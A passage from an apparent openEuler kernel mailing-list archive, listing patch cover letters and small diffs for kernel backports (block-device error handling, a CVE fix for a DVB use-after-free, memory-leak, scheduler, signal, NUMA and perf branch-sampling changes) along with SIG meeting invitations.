+++++ include/linux/genhd.h | 23 +++++++++ block/blk-mq.c | 19 ++++++++ block/genhd.c | 42 +++++++++++++++- drivers/block/brd.c | 103 +++++++++++++++++---------------------- drivers/block/loop.c | 26 +++++----- drivers/block/nbd.c | 60 ++++++++++------------- drivers/mtd/ubi/block.c | 76 ++++++++++++++--------------- drivers/nvme/host/core.c | 41 ++++++++-------- drivers/scsi/sd.c | 8 ++- drivers/scsi/sr.c | 7 ++- 11 files changed, 246 insertions(+), 171 deletions(-) -- 2.39.2

1 22

openEuler Kernel SIG 双周例会
by openEuler conference 10 Nov '23

10 Nov '23

您好！ Kernel SIG 邀请您参加 2023-11-24 14:00 召开的WeLink会议(自动录制) 会议主题：openEuler Kernel SIG 双周例会会议内容： 1. 进展update 2. 议题征集中（新增议题可回复邮件申请，也可直接填至会议看板）会议链接：https://bmeeting.huaweicloud.com:36443/#/j/963265866 会议纪要：https://etherpad.openeuler.org/p/Kernel-meetings 温馨提醒：建议接入会议后修改参会人的姓名，也可以使用您在gitee.com的ID 更多资讯尽在：https://openeuler.org/zh/ Hello! openEuler Kernel SIG invites you to attend the WeLink conference(auto recording) will be held at 2023-11-24 14:00, The subject of the conference is openEuler Kernel SIG 双周例会, Summary: 1. 进展update 2. 议题征集中（新增议题可回复邮件申请，也可直接填至会议看板） You can join the meeting at https://bmeeting.huaweicloud.com:36443/#/j/963265866. Add topics at https://etherpad.openeuler.org/p/Kernel-meetings. Note: You are advised to change the participant name after joining the conference or use your ID at gitee.com. More information: https://openeuler.org/en/

1 0

[PATCH openEuler-22.03-LTS 00/22] Add error handle for add_disk
by Li Nan 09 Nov '23

09 Nov '23

To make applying the mainline patch easier, reorder the nbd commit about the first_minor check here. Christoph Hellwig (5): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference Luis Chamberlain (4): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling Tetsuo Handa (1): block: check minor range in device_add_disk() Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (7): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path block/blk.h | 5 +- include/linux/genhd.h | 13 +++ block/blk-integrity.c | 12 ++- block/genhd.c | 246 +++++++++++++++++++++++++----------------- drivers/block/nbd.c | 15 +-- 5 files changed, 175 insertions(+), 116 deletions(-) -- 2.39.2

2 23

[PATCH OLK-5.10 v2 00/20] Add error handle for driver
by Li Nan 09 Nov '23

09 Nov '23

Christoph Hellwig (9): block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (6): loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Zhong Jinghua (2): mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup include/linux/blk-mq.h | 12 +++++ include/linux/genhd.h | 23 +++++++++ block/blk-mq.c | 19 ++++++++ block/genhd.c | 42 +++++++++++++++- drivers/block/brd.c | 103 +++++++++++++++++---------------------- drivers/block/loop.c | 26 +++++----- drivers/block/nbd.c | 60 ++++++++++------------- drivers/mtd/ubi/block.c | 76 ++++++++++++++--------------- drivers/nvme/host/core.c | 41 ++++++++-------- drivers/scsi/sr.c | 7 ++- 10 files changed, 239 insertions(+), 170 deletions(-) -- 2.39.2

2 21

[PATCH OLK-5.10] arm64: config: Disable CONFIG_ARM64_PBHA by default
by Wupeng Ma 09 Nov '23

09 Nov '23

From: Ma Wupeng <mawupeng1(a)huawei.com> hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I7ZC0H -------------------------------- Disable feature PBHA for arm64 by default. Signed-off-by: Ma Wupeng <mawupeng1(a)huawei.com> --- arch/arm64/configs/openeuler_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm64/configs/openeuler_defconfig b/arch/arm64/configs/openeuler_defconfig index aa12c2a7ebaa..ea2452d5576d 100644 --- a/arch/arm64/configs/openeuler_defconfig +++ b/arch/arm64/configs/openeuler_defconfig @@ -479,7 +479,7 @@ CONFIG_ARM64_VHE=y CONFIG_ARM64_PMEM=y CONFIG_ARM64_RAS_EXTN=y CONFIG_ARM64_CNP=y -CONFIG_ARM64_PBHA=y +# CONFIG_ARM64_PBHA is not set # end of ARMv8.2 architectural features # -- 2.25.1

2 1

[PATCH OLK-5.10 0/2] Fix memleak in disassociate_ctty()
by Yi Yang 09 Nov '23

09 Nov '23

Fix it by revert hulk patch and backport patch from mainline. Yi Yang (2): Revert "tty: fix pid memleak in disassociate_ctty()" tty: tty_jobctrl: fix pid memleak in disassociate_ctty() drivers/tty/tty_jobctrl.c | 29 +++++++++++------------------ 1 file changed, 11 insertions(+), 18 deletions(-) -- 2.25.1

2 3

[PATCH openEuler-1.0-LTS 0/2] Fix memleak in disassociate_ctty()
by Yi Yang 09 Nov '23

09 Nov '23

Fix it by revert hulk patch and backport patch from mainline. Yi Yang (2): Revert "tty: fix pid memleak in disassociate_ctty()" tty: tty_jobctrl: fix pid memleak in disassociate_ctty() drivers/tty/tty_jobctrl.c | 29 +++++++++++------------------ 1 file changed, 11 insertions(+), 18 deletions(-) -- 2.25.1

2 3

[PATCH OLK-5.10 00/20] Add error handle for driver
by Li Nan 09 Nov '23

09 Nov '23

Christoph Hellwig (9): block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (6): loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Zhong Jinghua (2): mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup include/linux/blk-mq.h | 12 +++++ include/linux/genhd.h | 23 +++++++++ block/blk-mq.c | 19 ++++++++ block/genhd.c | 42 +++++++++++++++- drivers/block/brd.c | 103 +++++++++++++++++---------------------- drivers/block/loop.c | 26 +++++----- drivers/block/nbd.c | 60 ++++++++++------------- drivers/mtd/ubi/block.c | 76 ++++++++++++++--------------- drivers/nvme/host/core.c | 41 ++++++++-------- drivers/scsi/sr.c | 7 ++- 10 files changed, 239 insertions(+), 170 deletions(-) -- 2.39.2

2 21

[PATCH openEuler-1.0-LTS v4 0/3] bugfix for CVE-2022-45884
by liwei 09 Nov '23

09 Nov '23

bugfix for CVE-2022-45884 Dinghao Liu (1): media: dvbdev: Fix memleak in dvb_register_device Fuqian Huang (1): media: media/dvb: Use kmemdup rather than duplicating its implementation Hyunwoo Kim (1): media: dvb-core: Fix use-after-free due to race at dvb_register_device() drivers/media/dvb-core/dvbdev.c | 86 ++++++++++++++++----- drivers/media/dvb-frontends/drx39xyj/drxj.c | 5 +- include/media/dvbdev.h | 15 ++++ 3 files changed, 82 insertions(+), 24 deletions(-) -- 2.25.1

2 4

openEuler Kernel SIG双周例会
by openEuler conference 09 Nov '23

09 Nov '23

您好！ Kernel SIG 邀请您参加 2023-11-10 14:00 召开的Zoom会议(自动录制) 会议主题：openEuler Kernel SIG双周例会会议内容： 1. 进展update 2. 内容征集中（议题申报可回复邮件，或直接填入会议看板）会议链接：https://us06web.zoom.us/j/87016190729?pwd=QXivFoXObEngRNR23faQCqS1XGbrs3.1 会议纪要：https://etherpad.openeuler.org/p/Kernel-meetings 温馨提醒：建议接入会议后修改参会人的姓名，也可以使用您在gitee.com的ID 更多资讯尽在：https://openeuler.org/zh/ Hello! openEuler Kernel SIG invites you to attend the Zoom conference(auto recording) will be held at 2023-11-10 14:00, The subject of the conference is openEuler Kernel SIG双周例会, Summary: 1. 进展update 2. 内容征集中（议题申报可回复邮件，或直接填入会议看板） You can join the meeting at https://us06web.zoom.us/j/87016190729?pwd=QXivFoXObEngRNR23faQCqS1XGbrs3.1. Add topics at https://etherpad.openeuler.org/p/Kernel-meetings. Note: You are advised to change the participant name after joining the conference or use your ID at gitee.com. More information: https://openeuler.org/en/

1 0

[PATCH openEuler-1.0-LTS] sched/fair: Refill bandwidth before scaling
by Xia Fukun 08 Nov '23

08 Nov '23

From: Huaixin Chang <changhuaixin(a)linux.alibaba.com> mainline inclusion from mainline-v6.5-rc7 commit 5a6d6a6ccb5f48ca8cf7c6d64ff83fd9c7999390 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8EUCE CVE: NA -------------------------------- In order to prevent possible hardlockup of sched_cfs_period_timer() loop, loop count is introduced to denote whether to scale quota and period or not. However, scale is done between forwarding period timer and refilling cfs bandwidth runtime, which means that period timer is forwarded with old "period" while runtime is refilled with scaled "quota". Move do_sched_cfs_period_timer() before scaling to solve this. Fixes: 2e8e19226398 ("sched/fair: Limit sched_cfs_period_timer() loop to avoid hard lockup") Signed-off-by: Huaixin Chang <changhuaixin(a)linux.alibaba.com> Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org> Reviewed-by: Ben Segall <bsegall(a)google.com> Reviewed-by: Phil Auld <pauld(a)redhat.com> Link: https://lkml.kernel.org/r/20200420024421.22442-3-changhuaixin@linux.alibaba… Signed-off-by: Xia Fukun <xiafukun(a)huawei.com> --- kernel/sched/fair.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/kernel/sched/fair.c b/kernel/sched/fair.c index 1c78e2f29901..ccd2a060c2df 100644 --- a/kernel/sched/fair.c +++ b/kernel/sched/fair.c @@ -5099,6 +5099,8 @@ static enum hrtimer_restart sched_cfs_period_timer(struct hrtimer *timer) if (!overrun) break; + idle = do_sched_cfs_period_timer(cfs_b, overrun, flags); + if (++count > 3) { u64 new, old = ktime_to_ns(cfs_b->period); @@ -5128,8 +5130,6 @@ static enum hrtimer_restart sched_cfs_period_timer(struct hrtimer *timer) /* reset count so we don't come right back in here */ count = 0; } - - idle = do_sched_cfs_period_timer(cfs_b, overrun, flags); } if (idle) cfs_b->period_active = 0; -- 2.34.1

2 1

[PATCH openEuler-1.0-LTS] signal: Properly set TRACE_SIGNAL_LOSE_INFO in __send_signal
by Xia Fukun 08 Nov '23

08 Nov '23

From: "Eric W. Biederman" <ebiederm(a)xmission.com> mainline inclusion from mainline-v6.5-rc7 commit 8917bef336f5301edd616cfa97b97d0319fd0496 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8ETTA CVE: NA -------------------------------- Any time siginfo is not stored in the signal queue information is lost. Therefore set TRACE_SIGNAL_LOSE_INFO every time the code does not allocate a signal queue entry, and a queue overflow abort is not triggered. Fixes: ba005e1f4172 ("tracepoint: Add signal loss events") Signed-off-by: "Eric W. Biederman" <ebiederm(a)xmission.com> Signed-off-by: Xia Fukun <xiafukun(a)huawei.com> --- kernel/signal.c | 33 ++++++++++++++++----------------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/kernel/signal.c b/kernel/signal.c index 69b9d8bff5a8..4166d22645f8 100644 --- a/kernel/signal.c +++ b/kernel/signal.c @@ -1163,23 +1163,22 @@ static int __send_signal(int sig, struct siginfo *info, struct task_struct *t, userns_fixup_signal_uid(&q->info, t); - } else if (!is_si_special(info)) { - if (sig >= SIGRTMIN && info->si_code != SI_USER) { - /* - * Queue overflow, abort. We may abort if the - * signal was rt and sent by user using something - * other than kill(). - */ - result = TRACE_SIGNAL_OVERFLOW_FAIL; - ret = -EAGAIN; - goto ret; - } else { - /* - * This is a silent loss of information. We still - * send the signal, but the *info bits are lost. - */ - result = TRACE_SIGNAL_LOSE_INFO; - } + } else if (!is_si_special(info) && + sig >= SIGRTMIN && info->si_code != SI_USER) { + /* + * Queue overflow, abort. We may abort if the + * signal was rt and sent by user using something + * other than kill(). + */ + result = TRACE_SIGNAL_OVERFLOW_FAIL; + ret = -EAGAIN; + goto ret; + } else { + /* + * This is a silent loss of information. We still + * send the signal, but the *info bits are lost. + */ + result = TRACE_SIGNAL_LOSE_INFO; } out_set: -- 2.34.1

2 1

[PATCH OLK-5.10 0/9] handle uninitialized numa nodes gracefully.
by Wupeng Ma 08 Nov '23

08 Nov '23

From: Ma Wupeng <mawupeng1(a)huawei.com> handle uninitialized numa nodes gracefully. Haifeng Xu (1): mm/memcontrol: do not tweak node in mem_cgroup_init() Michal Hocko (5): mm, memory_hotplug: make arch_alloc_nodedata independent on CONFIG_MEMORY_HOTPLUG mm: handle uninitialized numa nodes gracefully mm, memory_hotplug: drop arch_free_nodedata mm, memory_hotplug: reorganize new pgdat initialization mm: make free_area_init_node aware of memory less nodes Oscar Salvador (1): arch/x86/mm/numa: Do not initialize nodes twice Srikar Dronamraju (1): powerpc/numa: Handle partially initialized numa nodes Wei Yang (1): memcg: do not tweak node in alloc_mem_cgroup_per_node_info arch/ia64/mm/discontig.c | 11 +-- arch/powerpc/mm/numa.c | 2 +- arch/x86/mm/numa.c | 33 +++++---- include/linux/memory_hotplug.h | 118 ++++++++++++++++----------------- include/linux/mm.h | 1 - mm/internal.h | 2 + mm/memcontrol.c | 17 +---- mm/memory_hotplug.c | 55 +++------------ mm/page_alloc.c | 78 +++++++++++++++++++--- 9 files changed, 163 insertions(+), 154 deletions(-) -- 2.25.1

2 10

[PATCH OLK-5.10 v6 00/10] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 08 Nov '23

08 Nov '23

Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (4): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table ACPI: AGDI: Fix missing prototype warning for acpi_agdi_init() Jia He (3): EDAC/ghes: Add a notifier for reporting memory errors EDAC/ghes: Prepare to make ghes_edac a proper module EDAC/ghes: Make ghes_edac a proper module Li Yang (1): APEI: GHES: correctly return NULL for ghes_get_devices() Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 85 ++++++++++++++++++++---- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 117 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/edac/Kconfig | 4 +- drivers/edac/ghes_edac.c | 90 ++++++++++++++++---------- drivers/firmware/Kconfig | 1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/acpi/ghes.h | 34 +++------- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 20 files changed, 371 insertions(+), 97 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 11

[PATCH v3 OLK-5.10 00/24] arm64/perf: Enable branch stack sampling
by Junhao He 08 Nov '23

08 Nov '23

This series enables perf branch stack sampling support on arm64 platform via a new arch feature called Branch Record Buffer Extension (BRBE). All relevant register definitions could be accessed here. v2-v3: - Remove indentation before macro #ifdef v1-v2: - Fix kabi breakage in struct perf_branch_entry Anshuman Khandual (16): perf tools: Add missing branch_sample_type to perf_event_attr__fprintf() perf: Add irq and exception return branch types perf: Add system error and not in transaction branch types perf: Extend branch type classification perf: Capture branch privilege information perf: Add PERF_BR_NEW_ARCH_[N] map for BRBE on arm64 platform perf branch: Add system error and not in transaction branch types perf branch: Extend branch type classification perf branch: Add branch privilege information request flag perf branch: Add PERF_BR_NEW_ARCH_[N] map for BRBE on arm64 platform perf: Consolidate branch sample filter helpers perf record: Add remaining branch filters: "no_cycles", "no_flags" & "hw_index" arm64/sysreg: Add BRBE registers and fields drivers: perf: arm_pmu: Add new sched_task() callback drivers: perf: arm_pmuv3: Enable branch stack sampling framework drivers: perf: arm_pmuv3: Enable branch stack sampling via FEAT_BRBE James Clark (5): perf evsel: Add error message for unsupported branch stack cases perf session: Print branch stack entry type in --dump-raw-trace perf script: Refactor branch stack printing perf script: Output branch sample type perf branch: Fix interpretation of branch records Junhao He (1): perf: Fix kabi breakage in struct perf_branch_entry Mark Brown (1): arm64/sysreg: Introduce helpers for access to sysreg fields Sandipan Das (1): perf/core: Add speculation info to branch entries arch/arm64/include/asm/perf_event.h | 56 ++ arch/arm64/include/asm/sysreg.h | 511 ++++++++++++++ arch/arm64/kernel/head.S | 48 ++ arch/arm64/kernel/perf_event.c | 90 ++- arch/x86/events/intel/lbr.c | 4 +- drivers/perf/Kconfig | 11 + drivers/perf/Makefile | 1 + drivers/perf/arm_brbe.c | 779 ++++++++++++++++++++++ drivers/perf/arm_brbe.h | 258 +++++++ drivers/perf/arm_pmu.c | 34 +- include/linux/perf/arm_pmu.h | 28 +- include/linux/perf_event.h | 27 + include/uapi/linux/perf_event.h | 53 ++ kernel/events/core.c | 9 +- tools/include/uapi/linux/perf_event.h | 38 +- tools/perf/builtin-script.c | 28 +- tools/perf/util/branch.c | 72 +- tools/perf/util/branch.h | 8 +- tools/perf/util/evsel.c | 4 + tools/perf/util/parse-branch-options.c | 4 + tools/perf/util/perf_event_attr_fprintf.c | 2 +- tools/perf/util/session.c | 5 +- 22 files changed, 2035 insertions(+), 35 deletions(-) create mode 100644 drivers/perf/arm_brbe.c create mode 100644 drivers/perf/arm_brbe.h -- 2.33.0

2 25

[PATCH v4 openEuler-1.0-LTS 0/3] handle uninitialized numa nodes gracefully.
by Wupeng Ma 08 Nov '23

08 Nov '23

From: Ma Wupeng <mawupeng1(a)huawei.com> handle uninitialized numa nodes gracefully. Michal Hocko (2): mm, memory_hotplug: make arch_alloc_nodedata independent on CONFIG_MEMORY_HOTPLUG mm: handle uninitialized numa nodes gracefully Oscar Salvador (1): arch/x86/mm/numa: Do not initialize nodes twice arch/ia64/mm/discontig.c | 6 +- arch/x86/mm/numa.c | 26 +++---- include/linux/memory_hotplug.h | 120 ++++++++++++++++----------------- mm/internal.h | 2 + mm/memory_hotplug.c | 24 +++---- mm/page_alloc.c | 45 +++++++++++-- 6 files changed, 123 insertions(+), 100 deletions(-) -- 2.25.1

2 4

[PATCH OLK-5.10 v6 00/10] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 08 Nov '23

08 Nov '23

Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (4): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table ACPI: AGDI: Fix missing prototype warning for acpi_agdi_init() Jia He (3): EDAC/ghes: Add a notifier for reporting memory errors EDAC/ghes: Prepare to make ghes_edac a proper module EDAC/ghes: Make ghes_edac a proper module Li Yang (1): APEI: GHES: correctly return NULL for ghes_get_devices() Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 85 ++++++++++++++++++++---- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 117 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/edac/Kconfig | 4 +- drivers/edac/ghes_edac.c | 90 ++++++++++++++++---------- drivers/firmware/Kconfig | 1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/acpi/ghes.h | 34 +++------- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 20 files changed, 371 insertions(+), 97 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

1 9

[PATCH OLK-5.10 v5 0/9] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 08 Nov '23

08 Nov '23

From: “z00447436” <zouqian4(a)huawei.com> Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (4): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table ACPI: AGDI: Fix missing prototype warning for acpi_agdi_init() Jia He (3): EDAC/ghes: Add a notifier for reporting memory errors EDAC/ghes: Prepare to make ghes_edac a proper module EDAC/ghes: Make ghes_edac a proper module Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 83 ++++++++++++++++++++---- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 117 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/edac/Kconfig | 4 +- drivers/edac/ghes_edac.c | 90 ++++++++++++++++---------- drivers/firmware/Kconfig | 1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/acpi/ghes.h | 34 +++------- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 20 files changed, 369 insertions(+), 97 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 10

[PATCH v2 OLK-5.10 00/24] arm64/perf: Enable branch stack sampling
by Junhao He 07 Nov '23

07 Nov '23

This series enables perf branch stack sampling support on arm64 platform via a new arch feature called Branch Record Buffer Extension (BRBE). All relevant register definitions could be accessed here. Anshuman Khandual (16): perf tools: Add missing branch_sample_type to perf_event_attr__fprintf() perf: Add irq and exception return branch types perf: Add system error and not in transaction branch types perf: Extend branch type classification perf: Capture branch privilege information perf: Add PERF_BR_NEW_ARCH_[N] map for BRBE on arm64 platform perf branch: Add system error and not in transaction branch types perf branch: Extend branch type classification perf branch: Add branch privilege information request flag perf branch: Add PERF_BR_NEW_ARCH_[N] map for BRBE on arm64 platform perf: Consolidate branch sample filter helpers perf record: Add remaining branch filters: "no_cycles", "no_flags" & "hw_index" arm64/sysreg: Add BRBE registers and fields drivers: perf: arm_pmu: Add new sched_task() callback drivers: perf: arm_pmuv3: Enable branch stack sampling framework drivers: perf: arm_pmuv3: Enable branch stack sampling via FEAT_BRBE James Clark (5): perf evsel: Add error message for unsupported branch stack cases perf session: Print branch stack entry type in --dump-raw-trace perf script: Refactor branch stack printing perf script: Output branch sample type perf branch: Fix interpretation of branch records Junhao He (1): perf: Fix kabi breakage in struct perf_branch_entry Mark Brown (1): arm64/sysreg: Introduce helpers for access to sysreg fields Sandipan Das (1): perf/core: Add speculation info to branch entries arch/arm64/include/asm/perf_event.h | 56 ++ arch/arm64/include/asm/sysreg.h | 511 ++++++++++++++ arch/arm64/kernel/head.S | 48 ++ arch/arm64/kernel/perf_event.c | 90 ++- arch/x86/events/intel/lbr.c | 4 +- drivers/perf/Kconfig | 11 + drivers/perf/Makefile | 1 + drivers/perf/arm_brbe.c | 779 ++++++++++++++++++++++ drivers/perf/arm_brbe.h | 258 +++++++ drivers/perf/arm_pmu.c | 34 +- include/linux/perf/arm_pmu.h | 28 +- include/linux/perf_event.h | 27 + include/uapi/linux/perf_event.h | 53 ++ kernel/events/core.c | 9 +- tools/include/uapi/linux/perf_event.h | 38 +- tools/perf/builtin-script.c | 28 +- tools/perf/util/branch.c | 72 +- tools/perf/util/branch.h | 8 +- tools/perf/util/evsel.c | 4 + tools/perf/util/parse-branch-options.c | 4 + tools/perf/util/perf_event_attr_fprintf.c | 2 +- tools/perf/util/session.c | 5 +- 22 files changed, 2035 insertions(+), 35 deletions(-) create mode 100644 drivers/perf/arm_brbe.c create mode 100644 drivers/perf/arm_brbe.h -- 2.33.0

2 25

2023年度openEuler社区优秀贡献者奖评选启动，欢迎大家参加
by openEuler 07 Nov '23

07 Nov '23

1 0

[PATCH v3 openEuler-1.0-LTS 0/3] handle uninitialized numa nodes gracefully
by Wupeng Ma 07 Nov '23

07 Nov '23

From: Ma Wupeng <mawupeng1(a)huawei.com> handle uninitialized numa nodes gracefully. Changelog since v2: - fix compile error. Changelog since v1: - add bugfix patch #3. Michal Hocko (2): mm, memory_hotplug: make arch_alloc_nodedata independent on CONFIG_MEMORY_HOTPLUG mm: handle uninitialized numa nodes gracefully Oscar Salvador (1): arch/x86/mm/numa: Do not initialize nodes twice arch/ia64/mm/discontig.c | 6 +- arch/x86/mm/numa.c | 26 +++---- include/linux/memory_hotplug.h | 120 ++++++++++++++++----------------- mm/internal.h | 2 + mm/memory_hotplug.c | 24 +++---- mm/page_alloc.c | 45 +++++++++++-- 6 files changed, 123 insertions(+), 100 deletions(-) -- 2.25.1

2 4

[PATCH OLK-5.10 v2 00/22] Add error handle for add_disk
by Li Nan 07 Nov '23

07 Nov '23

To make applying the mainline patch easier, reorder the nbd commit about the first_minor check here. Christoph Hellwig (5): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference Luis Chamberlain (4): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling Tetsuo Handa (1): block: check minor range in device_add_disk() Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (7): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path block/blk.h | 5 +- include/linux/genhd.h | 13 +++ block/blk-integrity.c | 12 ++- block/genhd.c | 246 +++++++++++++++++++++++++----------------- drivers/block/nbd.c | 15 +-- 5 files changed, 175 insertions(+), 116 deletions(-) -- 2.39.2

2 23

[PATCH OLK-5.10 v2 0/2] cpufreq: Abort show()/store() for half-initialized policies
by Jinjie Ruan 07 Nov '23

07 Nov '23

